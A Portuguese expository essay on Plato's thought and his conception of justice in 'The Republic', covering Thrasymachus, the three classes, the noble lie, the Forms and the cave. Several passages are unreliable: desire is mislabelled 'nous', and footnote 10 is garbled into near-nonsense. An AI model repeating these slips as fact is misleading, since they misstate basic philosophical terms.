A filosofia de Platão e conceito de justiça

A filosofia de Platão e conceito de justiça


Gisele Leite

Refletir sobre Platão pode
ser um grande desafio mesmo nos dias de hoje. Não resta dúvida de que Platão é
mesmo considerado o pai da herança intelectual ocidental, um pensador que
posicionou a Filosofia em direção que até hoje é seguida, dois anos depois…

Pode-se dizer que a
filosofia ocidental é consistente de “uma série de notas de rodapé a Platão” (Alfred
North Whitehead), embora possa parecer um exagero, temos que admitir que o
referido filósofo possui de fato posição histórica privilegiada.

Platão tem sido criador e
aperfeiçoador da arte literária, o diálogo filosófico. Ainda que
considerássemos que não existe o real interesse, a obra de Platão seria
interessante e fundamental para o pensamento contemporâneo.

Cumpre alertar que seu
verdadeiro nome era Aristoclés, sendo uma homenagem ao seu avô. Platos
significa largura, e é quase certe de que seu apelido veio de sua constituição
robusta, ombros e frontes largos, apresentando porte físico forte e vigoroso, o
que o fez receber várias reverências por seus feitos atléticos na juventude.

Talvez por sua excelente
forma física tão aprecidada na Grécia Antiga, recebeu o enfoque privilefiado
pela educação idealizada por Sócrates e seus companheiros no diálogo.

Aliás, os diálogos de Platão
estão repletos de referências à competição de jovens no atletismo.

Cícero nos diz que se Deus
tivesse que falar, seria numa linguagem como a de Platão. E reconheçamos enfim
que sua genialidade é realmente extraordinária,e seus diálogos que são
empolgantes  trouxeram uma incalculável influência para toda história da
Filosofia. Teve Platão como principal obra-prima  “A República”.

Em linhas gerais, Platão
desenvolveu a noção de que o homem está em contato permanente com dois tipos de
realidade: a inteligível e a sensível. A primeira é a realidade imutável, igual
a si mesma. E, a segunda corresponde a todas as coisas que nos afetam os
sentidos, são realidades dependentes, mutáveis e são imagens da realidade
inteligível.

Platão foi discípulo de
Sócrates[1]
e deixou Atenas depois da condenação e morte de seu mestre (em 399 a.C.).
Peregrinou por doze anos e conheceu outros pensadores principalmente os
pitagóricos.

Seus diálogos possuem a
forma de interrogatórios cruzados, assim uma pergunta é feita, e uma resposta é
dada. A resposta é submetida a um exame detalhado, é feita uma série de outras
questões, mais réplicas são dadas, e, sucessivamente, e descobre-se que a prima
resposta  era insuficiente em determinado aspecto.

Por vezes, é possível que
uma resposta venha a contradizer a outra resposta anteriormente dita. É feita,
então, nova tentativa de resposta, à luz da discussão recente e sempre acesa, e
o processo prossegue até esgotarmos as possibilidades lógicas.

Sócrates fora o mestre e
mentor de Platão sendo mesmo o principal personagem dos diálogos e o
interrogador contumaz.

A doutrina central de Platão
é a distinção de dois mundos, a saber: o mundo visível, sensível ou mundo dos
reflexos, e o mundo invisível, inteligível ou mundo das idéias.

A essa concepção de dois
mundos se ligam as outras partes de seu sistema cujo o método é a dialética (consistindo
em que o espírito se eleve do mundo sensível ao mundo verdadeiro, o mundo
inteligível,o mundo das idéias) mas este se eleva por etapas, passando das
meras aparências dos objetos, em seguida dos objetos às idéias abstratas, e,
enfim, de tais idéias às idéias verdadeiras que são seres reais que existem
fora de nosso espírito.

Infelizmente temos poucas
informações precisas sobre a biografia e os ensinamentos de Sócrates, mas é sabido
que é mestre de argumentação. Segundo Xenofonte[2],
ele podia fazer o que quisesse com qualquer debater. E, confessava publicamente
que os homens bons e importantes da antiga Atenas não sabiam o que argumentavam
principalmente sobre o conceito da virtude.

Os inimigos de Sócrates só
desejavam calá-lo, e então acusaram-no impiedosamente de ser corruptor da
juventude da cidade.

E, Sócrates em vez de
abandonar a Filosofia, preferiu a morte, dando a essa ciência seu primeiro
mártir  e aos diálogos o seu merecido rigor ácido e cruel.

Enquanto lemos sobre
Sócrates insistindo lepidamente em suas definições estrategicamente situadas no
intervalo de uma a outra taça de vinho, sabemos que seu fim será na prisão e,
por fim, um copo de veneno letal.

Não há uma cronologia
pacífica e precisa nos diálogos de Platão, e os estudiosos dividem-nos
geralmente em três grandes grupos: os primeiros, os intermediários e os
últimos.

Os primeiros diálogos de
Platão refletem interesses e visões do Sócrates histórico, ao passo que o
Socrátes dos diálogos intermediários e, ainda os últimos representam mais
peculiarmente a filosofia própria de Platão.

Os primeiros diálogos são
inconclusos, e as investigações empreendidas raramente chegam a um acordo no
que diz respeito a uma definição. Alguns exergam nos diálogos intermediários os
derradeiros esforços de salvar o seu mentor e mestre do que seria considerado
uma incapacidade em resolver os problemas pontificados em primeiros diálogos.

Certamente a obra “A República”[3]
deve ser lida desta maneira e bem representa um diálogo intermediário de Platão
e que o traduz em sua força e firmeza, indo além dos interesses de Sócrates na
ética e adentrando o campo de Metafísica e da Epistemologia, respondendo a
algumas questões propostas inicialmente por seu mentor.

Relevante frisar que desde o
início, que o diálogo de “A República” é dividido em dez livros.

Platão acreditava que
existiam três espécies de virtudes baseadas na alma, e que correspondiam aos
estamentos sociais da pólis: a primeira virtude era a da sabedoria,
deveria ser a cabeça do Estado, ou seja, o governante, pois utiliza a razão,
correspondente ao ouro; a segunda espécie da virtude é a coragem e deveria ser
o peito do Estado, correspondendo aos soldados, guardiões da pólis posto
que suas almas de prata eram imbuídas de vontade.

E, por derradeiro, a virtude
era a temperança e que deveria ser o baixo-ventre do Estado, ou os
trabalhadores e artesãos, posto que suas almas de bronze orientavam-se pelo
desejo das coisas sensíveis.

No primeiro livro  de “A
República” estão perguntas que os livros posteriores tentam responder: O que é
justiça e será que vale a pena lutar por ela?

No segundo livro, no
terceiro e no quarto Platão está preocupado, de maneira em geral, em lidar com
a natureza do estado justo, mas no quarto livro, o filósofo começa a focar-se
na justiça do indivíduo.

Já no livro oitavo e nono há
a comparação da justiça da cidade com a justiça do indivíduo. Nos livros do
meio há ainda a explicação das noções de reforma política de Platão e,
constatamos o mais importante discurso sobre a Metafísica e a Epistemologia.

No derradeiro livro que
parece ter sido feito às pressas e constam as noções platônicas de arte e da
imortalidade da alma.

Enxergava Platão a alma
dividida em três partes: a racional que é voltada a controlar as outras duas
partes, e cuja virtude principal é a sabedoria ou a prudência (phrónesis);
a irascível correspondente ao tórax, dotada de impetuosidade, dos sentimentos e
cuja virtude é a coragem (andreia); a concupiscente correspondente ao
baixo ventre, dotada de apetite, desejo (seja carnal ou espiritual), cuja
virtual principal é a moderação ou temperança (sophrosýne).

Acreditava Platão que a alma
depois da morte reencarnava noutro corpo, mas a alma que se ocupava com a
filosofia e com o Bem, era privilegiada com a morte do corpo.

Assim com a morte era
concedida o privilégio de passar o resto dos seus tempos em companhia dos
deuses.

A questão da justiça surge
mediante uma observação informal por parte do velho e próspero comerciante
chamado Céfalo[4],
que sustenta que uma das vantagens de ser rico é o fato de não ter que mentir
ou enganar os outros.

Assim ele afirma que é um
conforto saber que possui os meios para tratar os outros com justiça, podendo
dizer a verdade e devolver o que tomou emprestado. Essa observação é suficiente
para fazer com que Sócrates prossiga.

Suponha que um amigo lhe
tenha emprestado armas, cogita Sócrates, e logo depois tenha se tornado insano.
Avexadamente rubro de ira e fora de si, talvez até pensando em homicídio, este
exige a devolução do que é dele.

No entendimento de Céfalo[5], seria justo ou
correto devolver as armas, mas isso não pode ser tudo a declarar sobre a
questão. Mais algumas definições convencionais são oferecidas pelas outras,
porém todas insuficientes, até que o clima agradável da conversa é quebrado
pela explosão de Trasímaco, um personagem retórico e sofista.

Quando este entra
vigorosamente em ação, é um momento crucialmente dramático quanto se pode
imaginar em uma conversação filosófica.

Trasímaco cansado da
magnitude da conversa, afirma que aquilo que chamamos justiça não nada além de
interesse próprio. Os detentores do poder criam a lei que satisfaz aos
interesses e objetivos próprios, e a justiça não passa de uma sublime
codificação do desejo do mais forte. Portanto, o poder dita as regras.

Adiante, Trasímaco argumenta
que inerentemente do que possa ser dito na companhia das pessoas educadas, os
corruptos são mais felizes e nós geralmente os admiramos, posto que conseguem o
que desejam.

Ser justo, no sentido
convencional, simplesmente não vale a pena, não é vantajoso e nem é agradável.
Para que se incomodar com a justiça e com a virtude quando a dedicação aos
próprios interesses nos conduz claramente à felicidade?

A explosão de Trasímaco[6] encontrou eco na
História da Filosofia e transcende. Correspondendo a primeira expressão de
suspeita sobre a fundamentação da moralidade que se transformou em niilismo,
egoísmo ético, realismo cínico, imperativo político, relativismo e ainda
ceticismo.

Platão, trata dessa questão
durante todo o restante do diálogo..

É de difícil abate, a caça a
respeito da natureza da justiça, e o melhor lugar para encontrá-la é certamente
na cidade justa.

Mas, qual seria, então a
natureza da cidade justa na visão de Platão? Arte desenvolvida por Platão é
repleta de questionamentos incômodos.

O debate sobre a ordem justa
surge exatamente para se descobrir se a justiça é melhor que a injustiça e, se
a vida do homem injusto é mais regalada e farta do que a do justo. E, depois de
exaustiva discussão, conclui-se que a justiça é preferível à corrupção.

O diálogo aporético[7] sobre a justiça
levantam questões respondidas pelo mito da salvação e, é apoiado pela intensa
argumentação dialética (que se caracteriza por apreender a realidade à luz das
contradições, uma das quais acaba por ser compreendida como verdadeira e outra
falsa).

A imagem correspondente é do
confronto entre a luz (sol ou claridade) com as trevas (escuridão ou caverna). A
aporia como figura de retórica refere-se aos momentos em que um personagem  dá
sinais de indecisão ou de dúvida sobre a forma de se expressar e a de agir.
Melhor exemplificação é o célebre solilóquio escrito por Shakespeare em Hamlet,
consagrado na expressão “to be or not to be” ( que podemos traduzir ser
ou não ser”).

Sócrates imagina os
primórdios da coletividade humana, e salienta que os seres humanos não são
autosuficientes (pois precisam uns dos outros e demandam por cooperação para
sobreviver).

Em verdade a obra “A
República” começa com um grande sofisma, pois Trasímaco declara que a força é
um direito e que a justiça nada mais é do que o interesse do mais forte.

E para responder a pergunta:
“Como seria uma cidade justa?”, Sócrates começa a dialogar, principalmente com
Gláucon e Adimanto[8].
Platão salienta que a justiça seria simples se os homens fossem simples e,
vivessem produzindo de acordo com suas necessidades, trabalhando muito e sendo
sem luxo.

Absurdamente Platão imagina
que o sistema de governo deve começar da estaca zero. O primeiro passo seria
tirar os filhos de suas mães e o Estado deveria assumir a formação e instrução
dos cidadãos.

Somos naturalmente capazes
de exercer determinadas tarefas, e a eficiência aconselha que os indivíduos
façam aquilo que melhor sabem fazer. Essas linhas gerais de pensamento levam a
Socrátes a delinear a concepção de justiça na cidade ideal.

Seria injusto e poderia se
configurar como furto, se uma pessoa ocupasse o papel natural de outra, o que
seria o mesmo que retirar algo de alguém. É melhor, para mim, e para todos os outros,
se eu fizer o que naturalmente sei fazer de melhor. A distância é mínima entre
esses pensamentos e a visão de que a justiça na cidade depende de cada um fazer
aquilo que naturalmente é pretenso a fazer.

Para Platão, em resumo
existem três classes de cidadãos, a saber: os guardiões que governam, os
auxiliares que policiam e defendem, e os artesãos que produzem os bens e
prestam serviços.

Assim, segundo a visão
platônica de cidade justa, as pessoas corretas deveriam ser destinadas aos
papéis corretos, e isso é feito, por certo tipo de reprodução seletiva,
conjugado com regime educacional e doutrinal – alguns chamariam de censura,
propaganda e até lavagem cerebral.

Ademais, as pessoas precisam permanecer nos papéis aos quais foram designadas,
apesar de que Platão aprovar a possibilidade de  mobilidade de classes sociais,
um simples artesão dando-se ares de ser um governante de qualidade,
simplesmente não poderia acontecer.

Sugere Platão que os governantes
possam contar uma “nobre mentira[9]
que consiste em narrar que os Deuses estabelecem o destino de cada pessoa na
terra, misturando em seus corpos um metal correspondente a sua classe social.

Desta forma, os guardiões
são as crianças de ouro, nascidas para governar e de grande valia; os
auxiliares seriam as crianças de prata, nascidas e vocacionadas a luta; e por
fim, os artífices corresponderiam às crianças de bronze, nascidas para produzir
e trabalhar e, portanto, resistentes.Não poderia haver mudanças de papéis,
posto que o lugar do sujeito é predeterminado.

O fatalismo[10] é, sem dúvida,
uma das marcas peculiares da visão platônica, no mito da República, Láquesis (que
é uma das três Moiras) tem em seu regaço fichas para um sorteio (símbolo da contingência)
e ainda padrões de existência;e cada alma deve escolher o Gênio (demônio) que a
acompanhará na sua existência, de entre uma série de escolhas, cuja ordem foi
tirada à sorte.

Uma vez realizada a escolha,
a existência é necessidade. Ou seja, cada alma escolhe seu destino, mas este
destino escolhido é irrevogável (assim quer tornar Deus inocente do mal que
fazemos, assim a moralidade ganha um valor original).

A escolha é enfermidade
reservada às almas que não participaram da vida filosófica; mas os filósofos
estão isentos desta enfermidade que é a liberdade infernal da escolha. Quando a
especulação filosófica incide sobre o conceito de Destino, o problema do
voluntário ou involuntário transforma-se em um problema metafísico: o do livre
arbítrio.

Mas você deve estar se
questionando como uma cidade pode ser construída e baseada em mitos, mentiras,
censura, propaganda e reprodução seletiva, como podem as pessoas nascerem
programadas e fazerem apenas o que os guardiões dizem. Portanto, a cidade justa
de Platão é onde tudo corre exatamente como deve ser, sendo estável e
eficiente.

Na lógica de Platão,
portanto, a cidade justa deve ser governada e administrada pelos filósofos e
pelos homens da ciência e, onde cada classe cumprirá naturalmente sua função
para o bem da pólis

Por outro lado, a cidade
injusta[11]
é aquela na qual o governo está nas mãos dos proprietários e, naturalmente não
pensam no bem comum da cidade, e, sem dúvida, lutarão apenas para preservar
seus interesses econômicos particulares, ou nos militares que levarão a cidade
em estado de guerra constante para contemplar e vislumbrar desejos pessoais de
honra e glória.

Não deveriam as pessoas ser
felizes, e terem um pouco mais de liberdade para influenciar no funcionamento
da cidade?, Não haveria como Sócrates se opor à explosão de Trasímaco,
incorrido na defesa do que ele havia acabado de negar, que a justiça não é nada
mais que a obediência à vontade dos poderosos?

Existe uma resposta para
essa questão, embora não seja apropriada. Platão afirmava que a cidade ideal
não pode se tornar real até que os reis sejam filósofos ou até que os filósofos
tornem-se reis, até que o governante tenha sabedoria, particularmente a
compreensão do fato que é a bondade.

Os governantes não são meros
tiranos, mas pessoas que por sua origem e criação estão em posição
privilegiada, podendo assim, naturalmente escolher o que é de benefício para
todos.

Eugenias e mentiras à parte,
talvez o povo possa realmente ser feliz, já que é cuidado por pessoas treinadas
para ter em conta seus interesses. Desta forma, não significa apenas obedecer à
vontade dos mais fortes, mas ser governado pelos que sabem mais e pelos que
amam a sabedoria.

Defendia Platão que a
educação visava o objetivo final de formar moralmente o homem exatamente para
viver na cidade justa.

Rejeitava a educação grega
praticada pelos sofistas que eram encarregados de transmitir conhecimentos
técnicos, principalmente como a oratória, para os jovens da elite, que deveriam
se tornar aptos para ocupar as funções públicas.

E, ainda apregoava que toda
educação era de responsabilidade do Estado, e ainda, já naquela remota época
reivindicava o acesso universal à educação e a mesma instrução para ambos
sexos. Era ferrenho opositor da democracia ateniense principalmente por
entregar poder às pessoas despreparadas para governar.

Desta forma, o sistema
educação platônica definia-se poela renúncia do indivíduo em favor da
comunidade e o processo educacional reconhecidamente longo tinha a missão de
revelar o talento e o gênio.

Na ótica de Platão  a escola
deveria testar as aptidões dos discípulos para que os revelassem tendências ao
conhecimento e recebessem a formação completa para serem governantes.

Segundo Platão, a formação
da pessoa, e da cidadania ocorreria antes mesmo do nascimento através do
planejamento eugênico da procuração que se baseia em condições que favoreçam a
reprodução e o aperfeiçoamento da etnia humana.

Platão propõe uma sucessão
de analogias nos livros seis e sete, todas com a intenção de aclarar o tipo de
conhecimento requerido pelos governantes, o conhecimento do Bem. E, para tanto
recorremos a teoria das formas, pensando nos seguintes problemas:

Dizemos que diversas coisas
são “vermelhas”, mas como conseguimos aprender o significado da palavra, se
nunca nos foi apresentado um exemplo ambíguo de vermelhidão? Coisas vermelhas
podem ser redondas e vermelhas, suculentas e vermelhas e, ainda, crocantes e
vermelhas.

A incrível solução de Platão
para esses problemas é a teoria das formas:a idéia de que exemplares perfeitos
e imutáveis das coisas. Desta forma, todas as coisas vermelhas compartilham ou
participam da forma de vermelho; todas as cidades, pessoas e ações justas
compartilha da Forma de Justiça, e assim por diante.

Em verdade, as formas são
realidades conceituais, e assim como a luz do Sol faz com que os objetos
mundanos sejam visíveis, o conhecimento do Bem faz com que o rei filósofo
“veja” o mundo das formas. Um governante iluminado, portanto, sabe o que é bom
para todos, e governa de forma compatível com o bem estar de todos.

Diante das teses defendidas
por Platão, Sócrates é levado a argumentar que a justiça tem valor em si mesma,
dependendo apenas das condições para o seu exercício. Daí ser mais facilmente
ser encontrada na atividade pública (na cidade), do que nas pessoas.

O primeiro princípio da
justiça é a solidariedade social, ou as formas pelas quais a pessoa contribui
para o bem estar coletivo, pois este é que tem a prioridade.

Desta forma, ressalta-se
ainda o segundo princípio, necessário para a manutenção da integridade social:
o desprendimento, o dever consciente de pessoas realmente dispostas a prover o
bem comum. Eis aí, a justificativa para se criar uma classe social distinta das
atividades econômicas, a dos guardiões, futuros reis-filósofos que sustentarão
a felicidade do Estado.

A principal finalidade da polis
é educar as pessoas e esta não precisa legislar sobre tudo. A cidade é sábia
porque é governada por reis-filósofos; a cidade é corajosa, posto que garantida
por guardiões valentes.

Há de ter temperança nas
paixões e esta deve ser praticada tanto pelas pessoas como pelos governantes. A
justiça consiste em cada um fazer o que deve assim: o sábio governar, o
guardião vigiar e o artesão produzir.

A alma humana portanto é
composta de três partes: os desejos (nous) e os impulsos (thymos)
e, estes são dominantes, em certas ocasiões, superando as contenções racionais.
Portanto, a justiça consiste na harmonia entre essas três partes, o que a faz
aproximar-se da moral.

O mito da caverna é talvez a
mais famosa imagem-parábola de Platão, e utilizável para todas as coisas com o
fito de explicar a relação entre esse mundo e o mundo das formas, bem como a
iluminação filosófica necessária aos reis filósofos.

Platão
imaginou prisioneiros acorrentados ao solo de uma caverna. E, bem atrás deles
existe uma palataforma erguida, onde vários objetos são carregados de uma lado
para o outro, e, bem atrás desse vaivém existe uma fogueira.

E, os
prisioneiros conseguem se libertar, enxergam o que está acontecendo e percebem
que confundiam meras ilusões com objetos reais. Então um dos prisioneiros sai
da caverna com dificuldade e se depara com a ofuscante luz do Sol. Por fim,
consegue ver a verdadeira natureza do mundo.

Na ótica
platônica, somos como prisioneiros em uma caverna e o mundo dos objetos físicos
não passa de um mero vaivém de sombras comparado ao mundo imutável das formas
perfeitas.

O
filósofo que consegue se libertar e observar os objetos fora da caverna, as
formas em si mesmas, finalmente vê o Sol, a forma da bondade, que a tudo
ilumina.

Vale notar que o filósofo tem de retornar à caverna para nos libertar os demais
mas não há dúvida de que ele preferiria permanecer lá fora, contemplando tudo
tranquilamente. E, libertar a multidão não é tarefa fácil.

Este
sofre, sendo acusado de louco por sua conversa  sobre o chamado “mundo real”.
Com isto, Platão está sugerindo que o rei- filósofo governa não pelo senso de
dever para com os sujeitos, mas porque se importa com eles. O que ele quer,
mais que a alegria que acompanha a contemplação das formas, é a justiça para a
cidade.

Mas o
que há de verdadeiro na teoria das formas de Platão? A maior objeção
considerada pelo próprio Platão, seja o Argumento do Terceiro Homem[12].

As
coisas belas do mundo só o são belas na medida em que compartilham  da forma do
Belo. Pois a forma do Belo é o belo em si. Isso não requer uma terceira pessoa,
uma terceira forma, com a qual se pareça o Belo em si? Recomendo a leitura de
“O banquete”.

Sócrates,
Platão e Xenofonte são homens na medida que compartilham da forma homem. Isso
não requer um terceiro homem com o qual deve se parecer a forma Homem para que
elese sejam homens? A teoria das formas pode provocar um embaraçoso ciclo
vicioso.

Abandonando
as preocupações com a justiça do indivíduo e, retornando à cidade justa, sendo
concebida por Platão como aquela em que as três classes fazem exatamente o que
devem fazer e onde permanecem em seus apropriados lugares, exercendo seus
respectivos papéis e não interferem uma nas outras.

E, consolidada a justiça na
cidade, o filósofo volta-se para a justiça do indivíduo. Por simples analogia à
cidade justa, uma pessoa justa é dotada de três partes, e que devem funcionar
juntas.

Razão, força e apetite para Platão, correspondem na visão platônica às classes
de cidadão na cidade. A vida interior da pessoa é estruturada tal como a vida
social na cidade justa, as partes de sua alma fazem parte de um tipo similar de
equilíbrio.

Mas, infelizmente a
psicologia humana não pode ser reduzida a somente três princípios, e também
porque as sociedades não são menos complexas.

Outra cogitação de Platão
que tanto atormenta, que é saber se é desejável e compensadora a justiça?
Acredita o filósofo que a pessoa justa é mais feliz e o que estado justo
encerra as pessoas mais felizes.

Propõe alguns argumentos
específicos: uma pessoa justa  escapa de um tipo de conflito interno, que
conduz à infelicidade, quando a parte racional de sua alma governa as outras. A
justiça, portanto, traz felicidade, um tipo de felicidade inacessível à pessoa
cuja alma está em constante disputa.

Platão também argumenta que
as partes de uma pessoa possuem desejos correspondentes e particulares, como a
parte racional ama a sabedoria[13].

Disputas entre as partes da alma dependem do melhor juiz para sua resolução, e
somente a parte racional sabe quais são os melhores desejos para cada parte da
alma.

Portanto, a razão é o melhor
juiz quando se trata da satisfação do desejo, e a pessoa cuja razão está no
comando, a pessoa justa, encontrará uma maior satisfação em sua vida.

Quando Platão discute sobre
a razão que governa as outras partes da alma, está também cogitando de outras
coisas, o que perpetua a inquietação de seus diálogos. Daí, podemos testemuhar
boquiabertos a eternidade de Platão.

Por fim, precisamos entender
que o mito linguagem tão utilizada por Platão revela as relações existentes
entre a poesia e a verdade. A poesia se traduz em ser mensagem metafísica, e o
belo não é senão o esplendor do verdadeiro e a arte em segundo lugar em relação
à filosofia, revela a verdade com beleza e destreza ao mundo sensível.

Referências

  1. GAVEY, James. Uma introdução
    aos vinte melhores livros de Filosofia. Série Rosari Filosofia.Continuum
    International Publishing
    Group, Londres, Inglaterra, 2006.
  2. JAPIASSU, Hilton. Danilo
    Marcondes. Dicionário Básico de Filosofia. Jorge Zahar Editor, 3ª. Edição,
    revista e ampliada, 1996.


[1]
Sócrates – Principal figura, na boca do qual
Platão  expressa seu pensamento. O encontro de Sócrates com os demais
personagens se dá no Pireu, onde ele havia se dirigido com a finalidade de orar
e constatar as festividades em honra à deusa Bêndis (Diana ou Ártemis) (327a).
O local da discussão é a casa de Polemarco, irmão de Lísias e Eutidemos, filhos
do velho Céfalo (327b).

[2]
Xenofonte nasceu
em Atenas, em uma família abastada e foi discípulo de Sócrates até 401
a.C., quando se juntou aos mercenários gregos que combateram na Pérsia em favor
de Ciro, o Jovem, contra seu irmão, Artaxerxes II. Os gregos venceram, mas Ciro
foi morto e após a batalha de Cunaxa. Os mercenários (chamados de "Os Dez
Mil") tiveram de fugir, atravessando um território hostil. Xenofonte foi
um dos líderes da bem sucedida retirada.

[3]
Ness obra está
descrito o Mito da Caverna, onde procura saber o que é um filósofo e
como é uma sociedade justa entre outras idéias.

[4]
Céfalo – Nasceu em Siracusa – portanto, era
meteco -, estabeleceu-se em Atenas e após trinta anos acumulou fortuna com uma
fábrica de escudos; foi desapropriado pelos Trinta Tiranos. É Céfalo que
convida Sócrates a vir com freqüência em casa para debater com seus filhos
(329d).

[5]
Céfalo que significa
referente a cabeça.

[6]
Trasímaco – é o famoso sofista. Especialista na
dialética, irrita-se com a ironia de Sócrates, no início da discussão sobre a
Justiça (336d. 337a). Definirá a justiça como “a conveniência dos mais
poderosos” (340b).

[7]
Num diálogo
aporético não se chega nunca a uma definição do tema central – a coragem e a
virtude, respectivamente -, mas só pela refutação de todas as tentativas de
definição se pode estar em condições de dizer alguma coisa (“de científico”)
sobre aquilo que se quer discutir.

[8]
Acompanham Sócrates os dois
irmãos de Platão, Glauco e Adimanto; também Nicerato que figurará entre os
personagens do Banquete. Este era filho do general Nícias que, em 421, celebrou
o armistício na guerra do Peloponeso. Nicerato foi condenado a beber cicuta no
mesmo período que Sócrates.

[9] 
Que mais tarde serviu perfeitamente para justificar o absolutismo e a origem
divina do poder.

[10]
Fate, personificado pelos gregos, sob o nome de Moira,
significava, na antiga do mundo invisível poder que regras mais humano destino.
No pensamento clássico destino se acreditava-se superior aos deuses, uma vez
que ainda não foram capazes de desafiar a sua totalidade – englobando o poder.
O destino não é acaso, que pode ser definida como a ausência de leis, mas sim
de um determinismo cósmico que não tem nenhum significado último ou finalidade.

 

[11]
A
condenação injusta e escandalosa de Sócrates exprime a incompatibilidade
trágica existente entre o poder político e a sabedoria do filósofo. Por isso na
sétima carta aponta Platão: “Reconheço que todos os Estados atuais, sem
exceção, são mal governados… É somente pela filosofia que se pode discernir
todas as formas de justiça política e individual.”(…)

[12] 
Foi argumento usado por Aristóteles para criticar a teoria platônica das
idéias. Entre todos os homens, diz ele, há algo de comum: a idéia de homem. Por
detrás de cada homem, há a idéia de home, por detrás de Pedro, há o homem em si
( o perfaz dois homens), mas entre o homem em si e Pedro, também há algo em
comum, um terceiro homem que corresponde a esse terceiro homem.

[13] 
Poderíamos resumir a filosofia de Platão em uma palavra e que é fundamentalmente
traduzida num dualismo.

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